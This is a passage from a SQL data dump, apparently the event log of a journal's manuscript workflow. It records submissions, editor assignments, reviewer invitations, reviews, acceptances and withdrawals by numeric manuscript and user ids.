00:00:00','Publisher has Invited Reviewer',7261,'Publisher',274),(64072,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(64073,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7291,'Publisher',85),(64074,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7194,'Editor',1235),(64102,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6976,'Editor',1235),(64104,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6976,'Editor',1235),(64105,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7291,'Publisher',85),(64106,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7291,'Publisher',85),(64107,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7291,'Publisher',85),(64108,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7291,'Publisher',85),(64109,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7291,'Publisher',85),(64110,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7291,'Publisher',85),(64111,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7291,'Publisher',85),(64112,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7291,'Publisher',85),(64113,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6905,'Publisher',75),(64114,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6684,'Publisher',75),(64115,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7073,'Publisher',248),(64116,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7073,'Publisher',248),(64117,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7073,'Publisher',248),(64118,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7073,'Publisher',248),(64119,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7073,'Publisher',248),(64120,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7073,'Publisher',248),(64121,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7073,'Publisher',248),(64122,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7073,'Publisher',248),(64123,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7073,'Publisher',248),(64124,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7073,'Publisher',248),(64125,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7073,'Publisher',248),(64126,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7073,'Publisher',248),(64127,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6580,'Publisher',75),(64128,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6049,'Editor',358),(64129,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6368,'Publisher',75),(64130,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6264,'Publisher',75),(64131,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',5802,'Publisher',75),(64132,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',5791,'Publisher',75),(64134,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7290,'Editor',1594),(64137,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6824,'Publisher',75),(64140,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6617,'Publisher',75),(64299,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7300,'Author',8576),(64325,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7273,'Editor',194),(64326,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7273,'Editor',194),(64327,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7273,'Publisher',48),(64328,'0000-00-00 00:00:00','Reviewer has submitted comments',6375,'Reviewer',13225),(64329,'0000-00-00 00:00:00','Publisher : Notified Editor',6375,'Publisher',75),(64334,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7084,'Publisher',645),(64355,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6860,'Publisher',988),(64379,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7305,'Author',8580),(64382,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7300,'Publisher',48),(64383,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7300,'Publisher',48),(64384,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7300,'Publisher',48),(64385,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7306,'Author',8581),(64397,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7306,'Publisher',48),(64398,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7305,'Publisher',48),(64399,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7306,'Publisher',48),(64400,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7306,'Publisher',48),(64401,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7306,'Publisher',48),(64402,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7305,'Publisher',48),(64403,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7305,'Publisher',48),(64404,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7305,'Publisher',48),(64432,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7311,'Author',8586),(64436,'0000-00-00 00:00:00','Reviewer has updated comments',6973,'Reviewer',11355),(64437,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7314,'Author',8589),(64448,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7311,'Publisher',48),(64449,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7311,'Publisher',48),(64450,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7311,'Publisher',48),(64451,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7311,'Publisher',48),(64483,'0000-00-00 00:00:00','Publisher : Notified Author',6851,'Publisher',85),(64484,'0000-00-00 00:00:00','Publisher : Notified Author',7030,'Publisher',85),(64485,'0000-00-00 00:00:00','Author sent Email',7030,'Author',8307),(64488,'0000-00-00 00:00:00','Author sent Email',7111,'Author',8380),(64491,'0000-00-00 00:00:00','Reviewer has submitted comments',7275,'Reviewer',16051),(64493,'0000-00-00 00:00:00','Reviewer has submitted comments',6909,'Reviewer',16051),(64495,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7319,'Author',8594),(64496,'0000-00-00 00:00:00','Author sent Email',7189,'Author',8459),(64498,'0000-00-00 00:00:00','Manuscript has been Revised',7204,'Author',8477),(64502,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7322,'Author',8597),(64505,'0000-00-00 00:00:00','Manuscript Submitted by Author',7323,'Author',8597),(64552,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6375,'Editor',160),(64553,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6375,'Publisher',75),(64554,'0000-00-00 00:00:00','Publisher : Notified Editor',6909,'Publisher',75),(64555,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7273,'Publisher',48),(64556,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',6909,'Editor',160),(64557,'0000-00-00 00:00:00','Publisher : Notified Author',6909,'Publisher',75),(64596,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7319,'Publisher',48),(64597,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7319,'Publisher',48),(64598,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7319,'Publisher',48),(64599,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7319,'Publisher',48),(64600,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7319,'Publisher',48),(64601,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7319,'Publisher',48),(64617,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6631,'Publisher',984),(64618,'0000-00-00 00:00:00','Publisher : Notified Editor',7034,'Publisher',75),(64619,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',7034,'Editor',161),(64620,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',7034,'Editor',161),(64621,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7114,'Editor',161),(64622,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7132,'Editor',161),(64623,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7275,'Editor',161),(64629,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6849,'Publisher',984),(64630,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6854,'Publisher',984),(64634,'0000-00-00 00:00:00','Author sent Email',7189,'Author',8459),(64645,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7323,'Publisher',274),(64646,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7322,'Publisher',274),(64715,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6909,'Editor',160),(64716,'0000-00-00 00:00:00','Author sent Email',7322,'Author',8597),(64717,'0000-00-00 00:00:00','Author sent Email',6865,'Author',8129),(64722,'0000-00-00 00:00:00','Manuscript Submitted by Author',7332,'Author',8605),(64725,'0000-00-00 00:00:00','Reviewer has updated comments',7063,'Reviewer',11355),(64726,'0000-00-00 00:00:00','Reviewer has updated comments',7063,'Reviewer',11355),(64727,'0000-00-00 00:00:00','Reviewer has updated comments',7063,'Reviewer',11355),(64745,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7334,'Publisher',645),(64771,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6976,'Publisher',274),(64775,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6826,'Publisher',274),(64777,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6843,'Editor',1235),(64778,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6971,'Editor',1235),(64779,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6971,'Publisher',274),(64780,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6971,'Publisher',274),(64781,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6843,'Publisher',274),(64785,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',5240,'Publisher',75),(64786,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',5249,'Publisher',75),(64789,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',5773,'Publisher',75),(64792,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',5859,'Publisher',75),(64793,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6046,'Publisher',75),(64815,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6428,'Publisher',75),(64816,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7338,'Publisher',645),(64826,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6592,'Publisher',75),(64827,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6591,'Publisher',75),(64848,'0000-00-00 00:00:00','Reviewer has submitted comments',7069,'Reviewer',15746),(64849,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7069,'Editor',1235),(64850,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7340,'Publisher',85),(64851,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',7069,'Editor',1235),(64852,'0000-00-00 00:00:00','Publisher : Notified Author',7069,'Publisher',274),(64866,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7101,'Publisher',673),(64867,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7131,'Publisher',673),(64868,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7314,'Publisher',248),(64872,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7332,'Publisher',274),(64873,'0000-00-00 00:00:00','Author sent Email',7189,'Author',8459),(64895,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7345,'Author',8619),(64901,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7334,'Publisher',645),(64905,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7348,'Publisher',48),(64974,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7290,'Publisher',274),(64975,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7314,'Publisher',248),(64976,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7314,'Publisher',248),(64977,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7314,'Publisher',248),(64978,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7314,'Publisher',248),(64979,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7314,'Publisher',248),(64980,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7314,'Publisher',248),(64981,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7314,'Publisher',248),(64982,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7314,'Publisher',248),(64983,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7314,'Publisher',248),(64984,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7314,'Publisher',248),(64985,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7314,'Publisher',248),(64986,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7314,'Publisher',248),(64987,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7314,'Publisher',248),(64989,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7338,'Publisher',645),(64991,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6875,'Editor',1410),(64992,'0000-00-00 00:00:00','Reviewer has submitted comments',6875,'Reviewer',12972),(64993,'0000-00-00 00:00:00','Reviewer has submitted comments',6875,'Reviewer',13180),(64994,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6875,'Editor',1410),(64995,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7338,'Editor',633),(64996,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7334,'Editor',633),(64997,'0000-00-00 00:00:00','Reviewer has submitted comments',7291,'Reviewer',15975),(64998,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(64999,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65000,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65001,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65002,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65003,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65004,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65005,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65006,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65007,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65008,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65009,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65010,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65011,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65012,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65013,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65029,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7131,'Publisher',673),(65030,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7131,'Publisher',673),(65031,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7131,'Publisher',673),(65032,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7131,'Publisher',673),(65033,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7131,'Publisher',673),(65034,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7131,'Publisher',673),(65035,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7131,'Publisher',673),(65036,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7131,'Publisher',673),(65037,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7131,'Publisher',673),(65038,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7131,'Publisher',673),(65039,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7131,'Publisher',673),(65040,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7131,'Publisher',673),(65041,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7131,'Publisher',673),(65042,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7131,'Publisher',673),(65043,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7131,'Publisher',673),(65071,'0000-00-00 00:00:00','Reviewer has updated comments',6784,'Reviewer',15588),(65072,'0000-00-00 00:00:00','Reviewer has updated comments',6784,'Reviewer',15588),(65073,'0000-00-00 00:00:00','Reviewer has updated comments',6784,'Reviewer',15588),(65074,'0000-00-00 00:00:00','Reviewer has updated comments',6784,'Reviewer',15588),(65075,'0000-00-00 00:00:00','Reviewer has updated comments',6784,'Reviewer',15588),(65076,'0000-00-00 00:00:00','Reviewer has updated comments',6784,'Reviewer',15588),(65090,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7131,'Publisher',673),(65091,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7131,'Publisher',673),(65092,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7131,'Publisher',673),(65093,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7131,'Publisher',673),(65094,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7131,'Publisher',673),(65095,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7131,'Publisher',673),(65096,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7348,'Publisher',48),(65097,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65098,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65099,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65100,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65101,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65102,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65103,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65104,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65105,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65106,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65111,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7348,'Publisher',48),(65113,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7131,'Publisher',673),(65114,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7131,'Publisher',673),(65115,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7131,'Publisher',673),(65116,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7131,'Publisher',673),(65117,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7131,'Publisher',673),(65118,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7131,'Publisher',673),(65119,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7131,'Publisher',673),(65120,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7131,'Publisher',673),(65121,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7131,'Publisher',673),(65122,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7131,'Publisher',673),(65123,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65124,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65125,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65126,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65127,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65128,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65129,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65130,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65131,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65132,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65166,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7300,'Editor',194),(65167,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7300,'Editor',194),(65168,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7305,'Editor',194),(65169,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7305,'Editor',194),(65170,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7306,'Editor',194),(65171,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7306,'Editor',194),(65172,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7311,'Editor',194),(65173,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7311,'Editor',194),(65174,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7300,'Publisher',48),(65175,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7273,'Publisher',48),(65176,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7305,'Publisher',48),(65177,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7300,'Publisher',48),(65178,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7306,'Publisher',48),(65179,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7311,'Publisher',48),(65191,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7345,'Publisher',645),(65192,'0000-00-00 00:00:00','Reviewer has submitted comments',7290,'Reviewer',12022),(65197,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',7290,'Editor',1594),(65198,'0000-00-00 00:00:00','Publisher : Notified Author',7290,'Publisher',274),(65201,'0000-00-00 00:00:00','Reviewer has submitted comments',7131,'Reviewer',14805),(65270,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7166,'Editor',1235),(65271,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7194,'Editor',1235),(65272,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7166,'Publisher',274),(65275,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7194,'Publisher',274),(65277,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7332,'Publisher',274),(65278,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7279,'Publisher',85),(65279,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(65284,'0000-00-00 00:00:00','Reviewer has submitted comments',7332,'Reviewer',12022),(65285,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7376,'Author',8648),(65370,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7356,'Publisher',376),(65371,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7257,'Publisher',376),(65432,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7395,'Publisher',48),(65464,'0000-00-00 00:00:00','Publisher : Notified Author',7030,'Publisher',85),(65465,'0000-00-00 00:00:00','Publisher : Notified Author',6851,'Publisher',85),(65466,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7396,'Author',8659),(65468,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65469,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65470,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65471,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65472,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65473,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65474,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65475,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65476,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65477,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65479,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7400,'Publisher',319),(65480,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7401,'Publisher',319),(65481,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7402,'Publisher',319),(65482,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7404,'Publisher',319),(65484,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7405,'Publisher',319),(65487,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7408,'Author',8665),(65488,'0000-00-00 00:00:00','Reviewer has submitted comments',6800,'Reviewer',15586),(65524,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65528,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65529,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65530,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65531,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65532,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65533,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65534,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65535,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(65569,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7073,'Editor',359),(65570,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7072,'Editor',359),(65571,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7073,'Publisher',248),(65572,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7072,'Publisher',248),(65574,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7419,'Author',8678),(65575,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7420,'Author',8679),(65578,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7421,'Author',8680),(65580,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7424,'Author',8683),(65583,'0000-00-00 00:00:00','Reviewer has submitted comments',7189,'Reviewer',9531),(65584,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7426,'Author',8685),(65587,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7428,'Author',8688),(65611,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7356,'Publisher',376),(65612,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7356,'Publisher',376),(65613,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7356,'Publisher',376),(65614,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7356,'Publisher',376),(65615,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7322,'Publisher',274),(65616,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7356,'Publisher',376),(65617,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7356,'Publisher',376),(65618,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7356,'Publisher',376),(65619,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7356,'Publisher',376),(65620,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7356,'Publisher',376),(65621,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7356,'Publisher',376),(65635,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7034,'Publisher',75),(65658,'0000-00-00 00:00:00','Reviewer has submitted comments',7034,'Reviewer',13225),(65659,'0000-00-00 00:00:00','Publisher : Notified Editor',7034,'Publisher',75),(65660,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7034,'Editor',161),(65662,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7034,'Publisher',75),(65665,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7432,'Author',8691),(65670,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7376,'Publisher',274),(65675,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7121,'Editor',1235),(65676,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7121,'Editor',1235),(65677,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7261,'Editor',1594),(65678,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7261,'Editor',1594),(65679,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7261,'Publisher',274),(65680,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7261,'Publisher',274),(65681,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7121,'Publisher',274),(65695,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7395,'Publisher',48),(65696,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7395,'Publisher',48),(65697,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7395,'Publisher',48),(65725,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7408,'Publisher',48),(65726,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',7408,'Publisher',48),(65727,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7426,'Publisher',48),(65728,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7426,'Publisher',48),(65729,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7426,'Publisher',48),(65730,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7426,'Publisher',48),(65748,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7034,'Publisher',75),(65753,'0000-00-00 00:00:00','Publisher : Notified Editor',7291,'Publisher',85),(65754,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7291,'Editor',1408),(65755,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7291,'Editor',1408),(65770,'0000-00-00 00:00:00','Publisher : Notified Editor',7189,'Publisher',85),(65771,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7189,'Editor',204),(65772,'0000-00-00 00:00:00','Editor has been Revise 